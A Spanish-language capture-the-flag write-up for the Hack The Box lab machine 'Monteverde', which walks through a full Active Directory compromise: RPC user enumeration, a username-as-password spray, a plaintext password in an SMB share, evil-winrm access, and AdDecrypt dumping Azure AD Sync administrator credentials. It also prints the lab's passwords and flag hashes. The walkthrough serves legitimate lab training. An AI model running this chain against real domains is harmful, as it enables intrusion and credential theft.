Monteverde[MEDIUM🔵]
Dificultad: Medio
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
ping -c 1 10.10.10.172
┌──(root㉿t0mz)-[/home/kali/ctf]
└─# ping -c 1 10.10.10.172
PING 10.10.10.172 (10.10.10.172) 56(84) bytes of data.
64 bytes from 10.10.10.172: icmp_seq=1 ttl=127 time=168 ms
--- 10.10.10.172 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 168.159/168.159/168.159/0.000 ms
Podemos notar que se trata de una maquina Windows, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
nmap -sS -sV -p- --min-rate 5000 -open -n -Pn 10.10.10.172 -oN escaneo.txt
┌──(root㉿t0mz)-[/home/kali/ctf/monteverde]
└─# nmap -sS -sV -p- --min-rate 5000 -open -n -Pn 10.10.10.172 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-15 21:16 -03
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 63.16% done; ETC: 21:16 (0:00:07 remaining)
Nmap scan report for 10.10.10.172
Host is up (0.17s latency).
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-16 00:16:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49750/tcp open msrpc Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.86 seconds
Estamos ante un entorno de directorio activo, por lo que podemos ver puertos comunes de Windows(135, 139 y 445) y Active Directory(53 del dominio del DC, 88 Servidor Kerberos,389 Servidor LDAP y por ultimo el puerto 5985 por lo que podríamos conectarnos mediante evil-winrm si un usuario esta dentro del grupo Remote Management Users)
1.3 crackmapexec
1.3 crackmapexec
❯ crackmapexec smb 10.10.10.172
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
El sistema operativo corriendo por detrás es Windows server 2019 en su compilación 17763 de 64 bits, el nombre de la maquina es MONTEVERDE, vemos tambien el dominio del DC "MEGABANK.LOCAL", el servicio SMB para recursos compartidos esta firmado y no soporta SMBv1, por lo que trabajaremos con SMBv2
Sabiendo el dominio del controlador de dominio de la maquina, vamos a agregarlo al archivo /etc/hosts para mayor comodidad y ademas algunas herramientas requieren del dominio en sí y no la IP
❯ nvim /etc/hosts
❯ cat /etc/hosts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /etc/hosts
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ 127.0.0.1 localhost
2 │ 127.0.1.1 t0mz
3 │
4 │ # HACK THE BOX
5 │ 10.10.10.172 MEGABANK.LOCAL
6 │
7 │ # The following lines are desirable for IPv6 capable hosts
8 │ ::1 localhost ip6-localhost ip6-loopback
9 │ ff02::1 ip6-allnodes
10 │ ff02::2 ip6-allrouters
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
2- Explotación
2.1 Servicio RPC
2.1 Servicio RPC
Vamos a intentar conectarnos mediante RPC utilizando la herramienta "rpcclient" para poder enumerar usuarios de la maquina
❯ rpcclient -U '' 10.10.10.172 -N
rpcclient $>
Y ahora vamos a enumerar usuarios:
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
rpcclient $>
Tambien vamos a enumerar los grupos que se encuentran activos dentro de la maquina:
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]
rpcclient $>
Tenemos grupos interesantes como "Azure Admins", tampoco se encuenta el grupo "Domain Admins" que generalmente en hexadecimal se expresan como 0x200
Ahora ya teniendo los usuarios, vamos a guardarnos los mismos en un archivo de texto y mediante expresiones regulares quedarnos con los usuarios en limpio:
❯ cat users.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: users.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ user:[Guest] rid:[0x1f5]
2 │ user:[AAD_987d7f2f57d2] rid:[0x450]
3 │ user:[mhope] rid:[0x641]
4 │ user:[SABatchJobs] rid:[0xa2a]
5 │ user:[svc-ata] rid:[0xa2b]
6 │ user:[svc-bexec] rid:[0xa2c]
7 │ user:[svc-netapp] rid:[0xa2d]
8 │ user:[dgalanos] rid:[0xa35]
9 │ user:[roleary] rid:[0xa36]
10 │ user:[smorgan] rid:[0xa37]
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Y ahora aplicamos las expresiones regulares:
cat users.txt | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > clean_users.txt
❯ cat users.txt | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > clean_users.txt
❯ cat clean_users.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: clean_users.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ Guest
2 │ AAD_987d7f2f57d2
3 │ mhope
4 │ SABatchJobs
5 │ svc-ata
6 │ svc-bexec
7 │ svc-netapp
8 │ dgalanos
9 │ roleary
10 │ smorgan
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
2.2 Password Spraying
2.2 Password Spraying
Ya con esto, vamos a realizar un password spraying, que por lo general a veces por mala configuración de los usuarios, a veces el mismo nombre de usuario es la contraseña misma XD
Asi que para realizar esto, vamos a utilizar crackmapexec:
crackmapexec smb 10.10.10.172 -u clean_users.txt -p clean_users.txt --continue-on-success
❯ crackmapexec smb 10.10.10.172 -u clean_users.txt -p clean_users.txt --continue-on-success
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
Tenemos una credencial valida:
Usuario: SABatchJobs
Contraseña: SABatchJobs
2.3 smbclient
2.3 smbclient
Ahora vamos a intentar autenticarnos vía el servicio SMB, ya que con crackmapexec probamos el servicio SMB, a ver si encontramos algún recurso compartido interesante
Pero antes vamos a enumerar los recursos compartidos con estas credenciales con crackmapexec para tambien saber que permisos tenemos sobre los mismos:
crackmapexec smb 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs' --shares
❯ crackmapexec smb 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs' --shares
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.10.10.172 445 MONTEVERDE [+] Enumerated shares
SMB 10.10.10.172 445 MONTEVERDE Share Permissions Remark
SMB 10.10.10.172 445 MONTEVERDE ----- ----------- ------
SMB 10.10.10.172 445 MONTEVERDE ADMIN$ Remote Admin
SMB 10.10.10.172 445 MONTEVERDE azure_uploads READ
SMB 10.10.10.172 445 MONTEVERDE C$ Default share
SMB 10.10.10.172 445 MONTEVERDE E$ Default share
SMB 10.10.10.172 445 MONTEVERDE IPC$ READ Remote IPC
SMB 10.10.10.172 445 MONTEVERDE NETLOGON READ Logon server share
SMB 10.10.10.172 445 MONTEVERDE SYSVOL READ Logon server share
SMB 10.10.10.172 445 MONTEVERDE users$ READ
Tenemos permisos de lectura en algunos recursos compartidos, luego de estar investigando el contenido de los mismos, el que nos interesa es el recurso compartido "users$", asi que vamos a conectarnos vía SMB con smbclient al recurso compartido users$:
smbclient //10.10.10.172/users$ -U 'SABatchJobs%SABatchJobs'
❯ smbclient //10.10.10.172/users$ -U 'SABatchJobs%SABatchJobs'
Try "help" to get a list of possible commands.
smb: \>
Y listamos directorios:
smb: \> dir
. D 0 Fri Jan 3 10:12:48 2020
.. D 0 Fri Jan 3 10:12:48 2020
dgalanos D 0 Fri Jan 3 10:12:30 2020
mhope D 0 Fri Jan 3 10:41:18 2020
roleary D 0 Fri Jan 3 10:10:30 2020
smorgan D 0 Fri Jan 3 10:10:24 2020
31999 blocks of size 4096. 28979 blocks available
smb: \>
Vamos a meternos al directorio "mhope" que por deducción y logica, son usuarios de la maquina objetivo que estan dentro del entorno de directorio activo:
smb: \> cd mhope\
smb: \mhope\> dir
. D 0 Fri Jan 3 10:41:18 2020
.. D 0 Fri Jan 3 10:41:18 2020
azure.xml AR 1212 Fri Jan 3 10:40:23 2020
31999 blocks of size 4096. 28979 blocks available
smb: \mhope\>
Tenemos un archivo XML, vamos a bajárnoslo para ver que contiene con el comando "get":
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \mhope\>
❯ ls
azure.xml clean_users.txt escaneo.txt users.txt
❯ cat azure.xml
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: azure.xml <UTF-16LE>
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
2 │ <Obj RefId="0">
3 │ <TN RefId="0">
4 │ <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
5 │ <T>System.Object</T>
6 │ </TN>
7 │ <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
8 │ <Props>
9 │ <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
10 │ <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
11 │ <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
12 │ <S N="Password">4n0therD4y@n0th3r$</S>
13 │ </Props>
14 │ </Obj>
15 │ </Objs>
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Bueno, si recordamos la carpeta del usuario "mhope" contenia este archivo XML que a su vez contiene una contraseña, por lo que:
User: mhope
Password: 4n0therD4y@n0th3r$
2.4 Obtención de shell con evil-winrm
2.4 Obtención de shell con evil-winrm
Vamos a verificar si estas credenciales encontradas, son validas para conectarnos mediante evil-winrm, para eso utilizaremos crackmapexec y si nos da como resultado "PWNED", entonces el usuario "mhope" esta dentro del grupo "Remote Management Users" y podremos conectarnos mediante evil-winrm:
crackmapexec winrm 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
❯ crackmapexec winrm 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
SMB 10.10.10.172 5985 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
HTTP 10.10.10.172 5985 MONTEVERDE [*] http://10.10.10.172:5985/wsman
WINRM 10.10.10.172 5985 MONTEVERDE [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!)
Genial, ya tenemos acceso a la maquina mediante evil-winrm:
evil-winrm -i 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
❯ evil-winrm -i 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents>
2.5 Obtención de la flag user
2.5 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "C:\Users\mhope\Desktop\user.txt"
, vamos a visualizar la flag:
*Evil-WinRM* PS C:\Users\mhope\Documents> type "C:\Users\mhope\Desktop\user.txt"
d3d0d019da9be55d3ef9d2e64d2b55f2
*Evil-WinRM* PS C:\Users\mhope\Documents>
3- Escalado de privilegios
3.1 Microsoft Azure AD Sync
3.1 Microsoft Azure AD Sync
Si nos vamos al directorio "C:\Program Files"
Veremos que hay una carpeta llamada "Microsoft Azure AD Sync", en esta carpeta, están las credenciales del usuario Administrator hasheadas, hay herramientas en GitHub para realizarles un decrypt y que nos devuelva las contraseñas en texto plano
*Evil-WinRM* PS C:\Program Files> ls
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/2/2020 9:36 PM Common Files
d----- 1/2/2020 2:46 PM internet explorer
d----- 1/2/2020 2:38 PM Microsoft Analysis Services
d----- 1/2/2020 2:51 PM Microsoft Azure Active Directory Connect
d----- 1/2/2020 3:37 PM Microsoft Azure Active Directory Connect Upgrader
d----- 1/2/2020 3:02 PM Microsoft Azure AD Connect Health Sync Agent
d----- 1/2/2020 2:53 PM Microsoft Azure AD Sync
d----- 1/2/2020 2:38 PM Microsoft SQL Server
d----- 1/2/2020 2:25 PM Microsoft Visual Studio 10.0
d----- 1/2/2020 2:32 PM Microsoft.NET
d----- 1/3/2020 5:28 AM PackageManagement
d----- 1/2/2020 9:37 PM VMware
d-r--- 1/2/2020 2:46 PM Windows Defender
d----- 1/2/2020 2:46 PM Windows Defender Advanced Threat Protection
d----- 9/15/2018 12:19 AM Windows Mail
d----- 1/2/2020 2:46 PM Windows Media Player
d----- 9/15/2018 12:19 AM Windows Multimedia Platform
d----- 9/15/2018 12:28 AM windows nt
d----- 1/2/2020 2:46 PM Windows Photo Viewer
d----- 9/15/2018 12:19 AM Windows Portable Devices
d----- 9/15/2018 12:19 AM Windows Security
d----- 1/3/2020 5:28 AM WindowsPowerShell
*Evil-WinRM* PS C:\Program Files>
d----- 1/2/2020 2:53 PM Microsoft Azure AD Sync
En nuestro caso para este ataque, vamos a utilizar una herramienta en GitHub llamada "AdSyncDecrypt":
Créditos al auto del repositorio
Vamos a bajarnos la release inicial del repo, que es un .ZIP

Vamos descomprimirlo:
❯ unzip AdDecrypt.zip
Archive: AdDecrypt.zip
inflating: AdDecrypt.exe
inflating: mcrypt.dll
❯ ls
AdDecrypt.exe AdDecrypt.zip azure.xml clean_users.txt escaneo.txt mcrypt.dll users.txt
Los archivos que tenemos que subir a la maquina objetivo son "AdDecrypt.exe" y la libreria DLL "mcrypt.dll", para subir estos tenemos integrado en evil-winrm el comando "upload"
Para bajarnos estos archivos a la maquina objetivo tenemos que ir a un directorio donde tengamos permisos de escritura, para eso nos dirigiremos al directorio "C:\Windows\Temp", en mi caso lo hare todo desde una carpeta llamda "Privesc"
*Evil-WinRM* PS C:\Program Files> cd ..
*Evil-WinRM* PS C:\> cd Windows/Temp
*Evil-WinRM* PS C:\Windows\Temp> pwd
Path
----
C:\Windows\Temp
Evil-WinRM* PS C:\Windows\Temp> mkdir Privesc
*Evil-WinRM* PS C:\Windows\Temp> cd Privesc
*Evil-WinRM* PS C:\Windows\Temp\Privesc>
Y vamos a subir ambos archivos anteriormente mencionados:
*Evil-WinRM* PS C:\Windows\Temp> upload /home/t0mz/CTF/monteverde/AdDecrypt.exe
Info: Uploading /home/t0mz/CTF/monteverde/AdDecrypt.exe to C:\Windows\Temp\Privesc\AdDecrypt.exe
Data: 19796 bytes of 19796 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload /home/t0mz/CTF/monteverde/mcrypt.dll
Info: Uploading /home/t0mz/CTF/monteverde/mcrypt.dll to C:\Windows\Temp\Privesc\mcrypt.dll
Data: 445664 bytes of 445664 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\Temp\Privesc>
Una vez subido, ahora si, nos dirigiremos a la carpeta "Microsoft Azure AD Sync" que habiamos encontrado anteriormente:
*Evil-WinRM* PS C:\Windows\Temp> cd ..
*Evil-WinRM* PS C:\Windows> cd ../PROGRA~1
*Evil-WinRM* PS C:\Program Files> cd "Microsoft Azure AD Sync"
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync>
Y a la carpeta "Bin":
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync> cd Bin
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin>
Y ejecutamos la herramienta desde el directorio donde lo guardamos, en este caso la carpeta Temp de Windows
C:\Windows\Temp\Privesc\AdDecrypt.exe -FullSQL
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:\Windows\Temp\Privesc\AdDecrypt.exe -FullSQL
======================
AZURE AD SYNC CREDENTIAL DECRYPTION TOOL
Based on original code from: https://github.com/fox-it/adconnectdump
======================
Opening database connection...
Executing SQL commands...
Closing database connection...
Decrypting XML...
Parsing XML...
Finished!
DECRYPTED CREDENTIALS:
Username: administrator
Password: d0m@in4dminyeah!
Domain: MEGABANK.LOCAL
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin>
Ya tenemos las credenciales del usuario Administrator, vamos a conectarnos mediante evil-winrm con estas credenciales:
evil-winrm -i 10.10.10.172 -u 'Administrator' -p 'd0m@in4dminyeah!'
❯ evil-winrm -i 10.10.10.172 -u 'Administrator' -p 'd0m@in4dminyeah!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
3.2 Obtención de la flag root
3.2 Obtención de la flag root
La flag de root se encuentra dentro de la ruta absoluta "C:\Users\Administrator\Desktop\root.txt"
, vamos a visualizar la flag:
*Evil-WinRM* PS C:\Users\Administrator\Documents> type "C:\Users\Administrator\Desktop\root.txt"
fcc160774592b52fe4e5dcc0306f9206
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Con esto, concluimos la maquina "Monteverde" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización